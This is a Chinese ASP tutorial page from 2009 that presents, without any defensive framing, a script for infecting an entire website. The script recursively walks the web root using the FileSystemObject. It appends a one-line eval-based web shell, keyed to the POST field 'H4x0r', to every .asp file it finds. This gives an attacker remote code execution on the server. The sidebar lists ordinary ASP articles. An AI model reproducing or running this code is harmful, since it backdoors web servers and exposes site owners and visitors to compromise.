繁體中文当前位置: 首页 > 图文教程 > 网络编程 > ASP > FSO遍历目录实现全站插马的代码
- ASP
- 利用ASP将HTML格式数据传输给Excel 的技巧
- 用ASP CSS实现随机背景
- 用ASP实现在线文章翻译的功能
- 动态网页爱好者来看：Asp过滤HTML的函数
- 自动去除字符中含有html代码的几个ASP函数
- 用ASP对网页进行简单的保护
- ASP网页开发过程中的几个小技巧
- ASP动态网页制作中使用SQL语句的方法
- ASP开发中存储过程应用全接触
- 入门：初学ASP动态网页制作常用错误处理
- ASP动态网页下UTF-8页面乱码的解决方法
- 小技巧：解决ASP脚本运行超时的方法
- 动态网页制作技术ASP开发中的常见问题
- 动态网页技术ASP日期和时间函数示例
- ASP程序实现保存参数值的分页功能
- 用ASP寻找到真实IP地址的方法
- ASP中文显示解决技巧及创建对象方法
- ASP实例：Asp 防止网页频繁刷新一法
- 将ASP动态网页转换成HTM静态页面的方法
- 技巧：得到刚刚插入的记录的自动编号值一例
ASP 中的 FSO遍历目录实现全站插马的代码
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-09-13 浏览: 32 ::
收藏到网摘: n/a
<%
dim ph
dim intfile
server.ScriptTimeout = 600
ph=server.mappath("/")
Sub InsertAllFiles(Path)
Set FSO = CreateObject("Scripting.FileSystemObject")
on error resume next
Set f = FSO.GetFolder(Path)
Set fc2 = f.files
For Each myfile in fc2
If lcase(FSO.GetExtensionName(path&""&myfile.name))="asp" then
Set FS1 = CreateObject("Scripting.FileSystemObject")
Set tfile=FS1.opentextfile(path&""&myfile.name,8,false)
tfile.writeline "<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form('H4x0r')+'')</SCRIPT>"
else
InsertAllFiles(newpath)
end if
tfile.close
Next
Set fsubfolers = f.SubFolders
For Each f1 in fsubfolers
newpath=path&""&f1.name
InsertAllFiles(newpath)
Next
set tfile=nothing
Set FSO = Nothing
End Sub
%>
<%
call InsertAllFiles(ph)
%>
评论 (0) All
